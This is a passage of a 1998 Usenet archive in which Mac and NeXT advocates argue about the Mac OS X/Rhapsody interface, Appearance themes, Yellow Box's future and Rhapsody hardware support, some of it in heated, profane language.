References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu>
Subject: Re: Mac OS X UI
Message-ID: <DTuq1.61$E5.334273@proxye1.san.rr.com>
Date: Mon, 13 Jul 1998 21:21:39 GMT
NNTP-Posting-Date: Mon, 13 Jul 1998 14:21:39 PDT
Organization: TWC Road Runner, San Diego, CA
Pulsar wrote in message ...
>On 13 Jul 1998, John Kheit wrote:
>
>> Pulsar <tokarek@uiuc.edu> wrote:
>> There are more efficient implementations. I'm sure apple UI people are
way
>> to busy making hideous decisions and color schemes so as not to have time
to
>> test, consider, or implement better methods.
>
>From all I've seen of the "Hi-tech" and "Gizmo" schemes, I hate them. they
>add no functionality while being bulbous and distracting. I suppose some
>people will like them, but I don't.
It is not their purpose to add functionality. They are part of the
outlandish notion that one GUI cannot be all things to all people. When
developed for Copland, they were part of the Workspace concept. A Workspace
was essentially defined by a set of user preferences including the
screensaver, appearance, desktop backdrop (be it animation, pattern or
picture), the user's custom views of each folder and volume, one of three
menu sets of varying functionality and complexity to address users of
different skill sets. It's about customization.
According to MacWorld reports, "Sonata" will roll-in the remaining
Copland-planned UI advances and those which were planned for Rhapsody (many
of which were also from the Copland project).
>The "Platinum" color schemes are fine (IMO), but one thing I _do_not_ like
>in the screen shots of Rhapsody I've seen is the way scrollers look. I'm
>all for proportional scrollers, but that little 12x12 (or is it even
>smaller?) textured square in the middle is _horrible_. It looks tacky. I
>wish Apple would put some thought into the asthetics of that. Maybe
>texturing the whole scroller would be better. Just about anything would be
>better.
It's not as tacky as the solution you suggest. See the MacOS control panel
SmartScroll for varying options.
>I hope that Mac OS 8.5 (which is supposed to implement proportional
>scrollers) doesn't look like that and that Rhapsody eventually changes
>that look.
It will. It does.
--Ed.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 13 Jul 1998 21:19:55 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6odtlr$lh3$4@lwnws01.ne.highway1.com>
References: <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <mNOSPAMroeder-1307981105550001@192.168.21.165>
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> > There are more efficient implementations.
>
> I happen to like the single menu bar across the top of the screen.
> It has a number of advantages that outweigh any complaints about
> efficiency. *The menu bar is always there at the top of the
> screen. I don't have to go hunting for it. *The menu bar is
> effectively 68 miles tall. I can slam my mouse up there and not
> worry about overshooting it. *There is only one menu bar. I
> don't have to worry about finding the wrong menu bar and thus
> bringing forward the wrong application.
>
> Efficiency has to be measured not just in pixels but also in
> seconds. (Windows' screen "efficiency" goes right down the tubes
> anyway, since you have that fat window title bar across the top
> of every window menu.)
There are more efficient implementations by all standards. I'm
guessing you haven't thought about it; which is fine, it's not your or my job
to do so. That apple hasn't is a failure on their part.
> > I'm sure apple UI people are way to busy making hideous decisions
> > and color schemes so as not to have time to test, consider, or
> > implement better methods.
>
> Um, no, there I have to disagree with you. Apple has some very
> good UI people who design pleasing and consistent color schemes.
> They even explain to developers how to design their own UIs to
> match. If you want hideous color schemes, try those of Windows.
> They range from garish to ghastly.
They suck and have zero aesthetic taste as is evidenced by their
actions. I can only guage them by their work product, which shows
little evidence of any taste.
> If you think that the Macintosh UI hasn't grown, then that's a
> testament to how well designed the original was, and how subtly,
> without a major redesign every release, Apple was able to extend
> its metaphor to include new concepts. Windows, on the other hand,
> underwent a serious mutation with every major release, leading
> to some hefty retraining costs every time. (And Active Desktop?
> Gawd! My desktop is a desktop, not the world-wide web!)
That ms makes shittier diaria products doesn't make the shit that
apple produces any the more tastier. Your argument that for it
having not changed; let me address in this manner. A person that
claims to not have changed 10 years after graduating highschool,
and likely is ignornatly proud of that fact, is telling you in
relatively clear terms that he is incapable of true learning.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 13 Jul 1998 20:54:53 GMT
Organization: wazza?
Message-ID: <6ods6t$cv5$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Greg_Anderson@afs.com
In <6odln1$2dt@shelob.afs.com> Gregory H. Anderson wrote:
> Soon after the NeXT purchase, *many* NS/OS programmers tried to get
> involved in educational efforts, through Omni's lists and late lamented
> Semper Fi. For a time, there were sincere efforts on both sides to
> understand what Apple already had and what it had just acquired. But as
> RDR dates slipped further and further away, and Apple became more and
> more mealy-mouthed about its level of commitment to NeXT technologies,
> early potential Mac adopters slipped away too.
Yeah, this is pretty much what I remember of it to.
> I watched about two hours of YB demos at MacWorld/NY last week. It never
> ceases to amaze me how quickly Mac programmers get excited by a proper
> demonstration of YB and its tools.
Yup.
> (the "word processor" demo) was old hat in the NeXT world six or seven
> years ago. Apple's biggest failing has been the lack of a turnkey demo,
> constructed from a traditional Mac programmer's perspective, of what
> makes YB so special. I think a proactive education campaign would have
> had a significant effect on the Mac programming community.
And likely cost next to nothing to do too.
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 13 Jul 1998 21:06:33 GMT
Organization: Digital Fix Development
Message-ID: <6odssp$gcl$1@news.digifix.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com> <35AA8254.BF3EA723@nospam.com>
In-Reply-To: <35AA8254.BF3EA723@nospam.com>
On 07/13/98, Tim Triemstra wrote:
<snip>
>As much as I'd like to believe that Apple has YB as a primary focus
for
>the future, I absolutely don't believe it for a second anymore. Have
>you noticed that the only quotes regarding Yellow Box anyone has seen
in
>print for 6 months or more have come from non-Apple people?
Hmm, I'm not sure what you're reading Tim, but it isn't the
same stuff that I am.
The MacWorld coverage was largely a debacle as far as YB is
concerned..
But, from Mmalc's upcoming MacWorld article for Stepwise
Jon Rubenstein and Avie Tevanian were open for questions from
1:15-2:00 on the MacWorld online stand on Wednesday and Thursday.
I didn't see any notices about this and missed the first 20 minutes
on Wednesday, and was otherwise occupied on Thursday (at a gathering
of a number of YB developers, none of whom was exhibiting). They
were a bit at the mercy of what questions people submitted, and
there wasn't much of interest to report, except Tevanian's answer
to "What dev kit would you use if you're starting a new development
project?"... To paraphrase: If you're wanting to deploy immediately
to MacOS, use the current tools, although be aware of Carbon,
which you should use for medium term projects which are to run on
MacOS 8 and X, but if you're looking further ahead, use Yellow.
Further, Bereskin's interview with MacCentral a couple of
weeks ago had a number of very positive YB comments in it.
There was another comment from an Apple employee in another
online article recently that I can't seem to recall that was very
positive as well.
YB is still on-track, and just because you don't hear it said
in every interview doesn't mean that its now dead.
As far as the Macintouch/Norr/Bereskin comments in Henry's
"Reporters" notebook, the context of that answer was basically
identical to the above.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 13 Jul 1998 21:24:22 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6odtu6$lh3$5@lwnws01.ne.highway1.com>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote:
> On 13 Jul 1998, John Kheit wrote:
> > There are more efficient implementations. I'm sure apple UI
> > people are way to busy making hideous decisions and color
> > schemes so as not to have time to test, consider, or implement
> > better methods.
>
> From all I've seen of the "Hi-tech" and "Gizmo" schemes, I hate
> them. they add no functionality while being bulbous and distracting.
> I suppose some people will like them, but I don't.
I agree, they are poor taste sugar coatings offering nothing new but even
more loud, distracting, and bad taste implementations of the same old crap.
> The "Platinum" color schemes are fine (IMO), but one thing I
> _do_not_ like in the screen shots of Rhapsody I've seen is the
> way scrollers look. I'm all for proportional scrollers, but that
> little 12x12 (or is it even smaller?) textured square in the
> middle is _horrible_. It looks tacky. I wish Apple would put some
> thought into the asthetics of that. Maybe texturing the whole
> scroller would be better. Just about anything would be better.
The entire purple barny UI looks like a tacky piece of shit.
They've put in zero quality thought about a new UI. And if there was quality
thought and talent put on it, clearly it didn't bubble up to the top, or was
not allowed to mature perhaps being killed by idiot decision makers with zero
taste. Keith Ohlfs could puke a better design into a napkin, drunk, stoned,
and after a beating over the head with a mallet.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Mon, 13 Jul 1998 16:25:05 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AA7B30.30B7DF11@ericsson.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <6o5k4c$r2d$1@crib.corepower.com> <6o5n32$6q$2@news.xmission.com> <Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk> <6ods31$lh3$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Kheit wrote:
> Yes, but the greedy gusses at apple,
Apparently, we haven't yet gotten to the point of actually saying "Steve
Jobs" in a post full of criticism. It's some nameless "greedy gusses at
Apple", as if anyone but Steve Jobs could account for the past and
current closed strategy. Ah, well, minds change slowly. Maybe in a few
months NeXT fans could actually (albeit timidly) start blaming the real
culprit instead of scapegoats like Ken Bereskin.
Meanwhile, it's become a dreadfully funny commentary on human nature.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 13 Jul 1998 17:26:05 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981726050001@dante.eng.uci.edu>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com>
In article <6odtu6$lh3$5@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>Pulsar <tokarek@uiuc.edu> wrote:
>> From all I've seen of the "Hi-tech" and "Gizmo" schemes, I hate
>> them. they add no functionality while being bulbous and distracting.
>> I suppose some people will like them, but I don't.
>
>I agree, they are poor taste sugar coatings offering nothing new but even
>more loud, distracting, and bad taste implementations of the same old crap.
Like windows, which appeals to the 'more is better' crowd generally
lacking any measure of taste whatsoever? Fact of the matter is that most
consumers wouldn't choose style if it was free and Apple needs to deliver
what people recognize. Loud, garish, possibly with beer advertisements
would appeal strongly to the Wintel crowd that I'm familiar with.
Just so long as they keep platinum in there.
Additionally, big, bright, moving themes really are good for children
which Gizmo seems targetted toward. They are fun, rather than functional.
Children shouldn't have to worry about productivity, thats what adulthood
is reserved for.
>The entire purple barny UI looks like a tacky piece of shit.
I'll admit there is a lack of balance there...
>They've put in zero quality thought about a new UI. And if there was quality
>thought and talent put on it, clearly it didn't bubble up to the top, or was
>not allowed to mature perhaps being killed by idiot decision makers with zero
>taste.
I'd agree with that. I'm also amazed that Win98 didn't look exactly like
DR1, which I was hoping would be the explanation...
-Bob Cassidy
Date: Mon, 13 Jul 1998 20:37:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1307982037200001@elk49.dol.net>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144>
In article <B1CFE637-1A286@206.165.43.144>, "Lawson English"
<english@primenet.com> wrote:
> Robert Cassidy <rmcassid@uci.edu> said:
>
> >I'd say the likelihood of Mac OS X running on stock
> >7600/8500/8600/9500/9600 systems is good.
>
>
>
> But what of my brand new 7300/180? That's a 604e-based system also. I
> bought it specifically to be able to run and program for Rhapsody just 2-3
> months ago.
I think the 7300's motherboard is about the same as the 7600. If it runs
on the 7600, it will probably run on the 7300.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 13 Jul 1998 20:35:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-1307982035200001@elk49.dol.net>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com>
In article <6odtu6$lh3$5@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
> > On 13 Jul 1998, John Kheit wrote:
> > > There are more efficient implementations. I'm sure apple UI
> > > people are way to busy making hideous decisions and color
> > > schemes so as not to have time to test, consider, or implement
> > > better methods.
> >
> > From all I've seen of the "Hi-tech" and "Gizmo" schemes, I hate
> > them. they add no functionality while being bulbous and distracting.
> > I suppose some people will like them, but I don't.
>
> I agree, they are poor taste sugar coatings offering nothing new but even
> more loud, distracting, and bad taste implementations of the same old crap.
The key to the Themes was the ability for third party vendors to tie into
them. At one time, I read that Kaleidoscope themes were supposed to work
with only minor changes. I would assume that if enough third party themes
appear, you'll find something you like.
I agree that Themes add no direct value. But they add a level of
customization that so many users want. Why else is Kaleidoscope one of the
most widely used utilities?
As an example, I have about 50 desktop pictures that automatically cycle.
Does it add any value? Nope. Does it make me work better or faster? I
doubt it. But I like it and that's enough for me to use it.
> The entire purple barny UI looks like a tacky piece of shit.
>
> They've put in zero quality thought about a new UI. And if there was quality
> thought and talent put on it, clearly it didn't bubble up to the top, or was
> not allowed to mature perhaps being killed by idiot decision makers with zero
> taste. Keith Ohlfs could puke a better design into a napkin, drunk, stoned,
> and after a beating over the head with a mallet.
Which "purple barney UI" are you referring to?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 13 Jul 1998 17:47:01 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1307981747020001@3-86.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
NNTP-Posting-Date: 14 Jul 1998 00:45:17 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> Apple isn't going to be selling off the Enterprise stuff.
>
> YB isn't going to be sold off, and it isn't dead. Not by a
> long shot.
>
> Geez, why do you people listen to Henry Norr?
Scott, why the hell would we listen to you instead? Which one of the two
of you has a steady job getting paid to predict what Apple is going to do
next, and do it for publication?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 13 Jul 1998 21:36:59 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6odulr$lh3$6@lwnws01.ne.highway1.com>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com> <6oc22f$8m9@news.gdi.net> <6odfol$7qv$1@news.xmission.com> <6odhc8$aue@nntp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
>> Heck, if there had been more GNUStep supporters, there might not have ever
> been a KDE.
There are a sum total of a 200 or less really good OPENSTEP programmers that
make a profession out of it (guestimating). Of those that don't contribute
to the MiscKit, support a family, are not busy working on advanced degrees,
paying bills, etc. the rest find a way to contribute where they can. Of
those not completely tapped with supporting freeware, shareware, or better
still the MiscKit, the rest have decided quite nicely to do GNUSTEP. One
thing about the NeXT community, it pretty much gives till it hurts. Why not
get a couple of these idiot, defensive, useless mac programmers a kick in the
ass to learn something new and worthwhile and help out? Oh, I imagine their
kids and bills are more important even though they have a market 10000X the
size of the NeXT market.
The NeXT community has done it's bit for god, love, and country. Those that
have shown even the slightest inkling of curiosity have been helped. There's
only so many slaps in the face the average person is willing to take while
helping someone else out. The NeXT community has taken more than its fair
share over the years, especially when the vast bulk of them could have dumped
the market, not dealt with this shit, and cashed in their experience for cush
gigs elsewhere.
Now I'm not a contributor to this NeXT community, more of a fan of it, and
awed by it; and to no small extent a beneficiary of it. And I can't speak on
their behalf, but I'll speak from my overbloated opinion corner. These guys
and gals might comprise the nicest single computer block ever to inhabit the
planet. They collectively have done more to advance the art in the last
decade than the rest of the computing platforms put together. Talking down
to their supposed sloth is rather obnoxious comedy.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 13 Jul 1998 21:19:38 GMT
Organization: Digital Fix Development
Message-ID: <6odtla$gjd$1@news.digifix.com>
References: <35AA8501.CF6AAF27@nospam.com>
In-Reply-To: <35AA8501.CF6AAF27@nospam.com>
On 07/13/98, Tim Triemstra wrote:
>Since Apple doesn't seem to want to talk about what they consider
>thir red headed step child - Yellow Box - does anyone want to
>comment on the following?
>
As I've now pointed out elsewhere, they are talking about it,
you just don't see it printed everywhere, especially in the
'traditional' Macintosh sources.
>
>So, is there anything in print or on an official web site regarding
>Yellow Box that has been possitive or forward thinking - that has
been
>published since the Carbon announcement? I can't find anything, and
I
>think I would be a flaming idiot to program for Yellow until there is
>something to hear.
Sure.
The Apple FAQ for Rhapsody is clear that its not in
maintenance mode, and that it will be part of Mac OS X.
http://gemma.apple.com/rhapsody/rhapfaq/rhaptechfaq.html
Avie publically said good things at MacWorld about YB.
Ken Bereskin also had some very good YB messages in the
MacCentral interview a few weeks ago (July 19)
http://www.maccentral.com/news/9806/18.x_part1.shtml
"From a technical perspective, we'll be evolving key Rhapsody
technologies - such as the microkernel, file system, network
architecture and more - to play a key role in the foundation of Mac OS
X," he says. "Like the Blue Box in Rhapsody, the upcoming operating
system will run Max OS 8 applications unmodified, but they won't get
the new features until they're tweaked for Mac OS X. We also believe
that the Yellow Box and Java applications will play an increasingly
important role in the Mac OS environment."
---
There's also some confusion over talk of more integration between the
Yellow Box and Java. Bereskin says the Yellow Box will become part of
Apple's larger Java strategy because of the "great synergy" with the
Yellow Box frameworks and Java.
"One of the things that can be done with Rhapsody today, is to take
all of the advance functions of the Yellow Box and expose as if native
Java APIs," he says. "Developers can write in Java and develop Yellow
Box applications. The Yellow Box will play an important role in our
Java strategy. We'll have more to say about this in the fall time
frame."
--
Yellow Box. Java. Carbon. How does a developer know which environment
to use in application development?
"Everyone wants simple answers to complex questions, but the choice is
very dependent on the feature sets, schedules and platforms you're
targeting," Bereskin says. "The Mac OS APIs are the life force of the
Mac platform, and are important when targeting Mac applications today
and in the future. So, the primary focus for Mac OS X is Carbon. When
it comes to cross platform development, many tools are available. It's
certainly the case that many developers are looking at Java to see if
it meets their needs. In many instances, Java is now providing itself
a viable platform. Yellow Box is also a viable tool for cross platform
development."
as did the AppleScript manager
http://www.maccentral.com/news/9807/01.script.shtml
"It walks like a duck and quakes like a duck so it's a duck," Soghoian
says. "At the Worldwide Developers Conference, we showed AppleScript
running in Rhapsody, and it looks and works like the AppleScript you
know. It's a bit more powerful than AppleScript on the traditional Mac
OS because the Rhapsody OS is more powerful. Also, it's been written
into Apple ToolKit so developers can pick it up for free."
Would they add this to the AppKit (Apple ToolKit) if YB was
dead? Nope.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 13 Jul 1998 23:19:36 GMT
Organization: University of Maryland, College Park
Message-ID: <6oe4m8$2tv$1@hecate.umd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <rmcassid-1307981227020001@dante.eng.uci.edu>
Robert Cassidy (rmcassid@uci.edu) wrote:
: In article <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net>,
: gmgraves@slip.net (George Graves) wrote:
: >In article <rmcassid-0907981204040001@dante.eng.uci.edu>, rmcassid@uci.edu
: >(Robert Cassidy) wrote:
: >> Think of Mac OS X supporting G3 hardware in much the same way that
: >> Microsoft might announce support for their OSen.
: >I hope you are right, but don't count on it. I have DR2 of Rhapsody, and it
: >will NOT even install on my Power Computing Power Center Pro (either
: >with or without a G3 upgrade card installed). To the installer, my machine
: >is a 7200. Apple has INTENTIONALLY excluded the 7200 from Rhapsody
: >support. There seems to be no way around this road-block, even though
: >Apple engineering has told me that there is really no reason why Rhapsody
: >wouldn't run on this machine (with either the original 604E processor or
: >the G3 upgrade daughtercard fitted), its just that they never tried it with
: >that motherboard, so when they put the gestalt list for the supported
: >computers in the Rhapsody installer, that one wasn't included.
: Stick your HD into a 7600, install it there, move the HD back to the
: PCPro. No, not elegant, but it _might_ work.
: BTW, if your machine has a 604e, then it is not like the 7200 which always
: had a 601, and didn't have a daughtercard. It is this reason why the 7200
: is probably unsupported - it's just different enough than the 604 boxes
: that shipped at that time.
: BTW, from what I understand, Win98 _refuses_ to install on any machine
: slower than a 75MHz Pentium. So theres a little change going on in each
: camp.
This is direct contradition to the information posted on Microsoft's
web site. AFAIK, Win98 requires a 486 processor. I don't know how
microsfot would go about checking processor speeds to prevent installation,
but the minimum requirement listed is a 486 DX/66
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 14:45:49 -0700
Organization: UC Irvine
Message-ID: <atlauren-1307981445490001@jungleland.acs.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <rmcassid-1307981227020001@dante.eng.uci.edu>
_3;X4o1Yg^$]=Oc\u
>BTW, from what I understand, Win98 _refuses_ to install on any machine
>slower than a 75MHz Pentium. So theres a little change going on in each
>camp.
Actually, I believe it insists on a 66Mhz processor. A colleague here
tried to install on a 486/33, and the installer refused to run.
Pop quiz: How long before somebody cooks up a real-mode TSR that pretends
to be a BIOS w/ 66Mhz processor, and fake out the installer in the
process?
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 13 Jul 1998 16:48:07 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980713163143.6998C-100000@ux10.cso.uiuc.edu>
References: <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <DTuq1.61$E5.334273@proxye1.san.rr.com>
Mime-Version: 1.0
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In-Reply-To: <DTuq1.61$E5.334273@proxye1.san.rr.com>
On Mon, 13 Jul 1998, Ed Deans. wrote:
> Pulsar wrote in message ...
> >On 13 Jul 1998, John Kheit wrote:
> >
<snip>
> >The "Platinum" color schemes are fine (IMO), but one thing I _do_not_ like
> >in the screen shots of Rhapsody I've seen is the way scrollers look. I'm
> >all for proportional scrollers, but that little 12x12 (or is it even
> >smaller?) textured square in the middle is _horrible_. It looks tacky. I
> >wish Apple would put some thought into the asthetics of that. Maybe
> >texturing the whole scroller would be better. Just about anything would be
> >better.
>
> It's not as tacky as the solution you suggest.
Why?
> See the MacOS control panel SmartScroll for varying options.
Yes. I have seen that. My favorites are the untextured scrollers and the
fully textured scrollers. The tiny square just looks wrong. It's too
blatant and it leaves the rest of the scroller looking plain. It is not
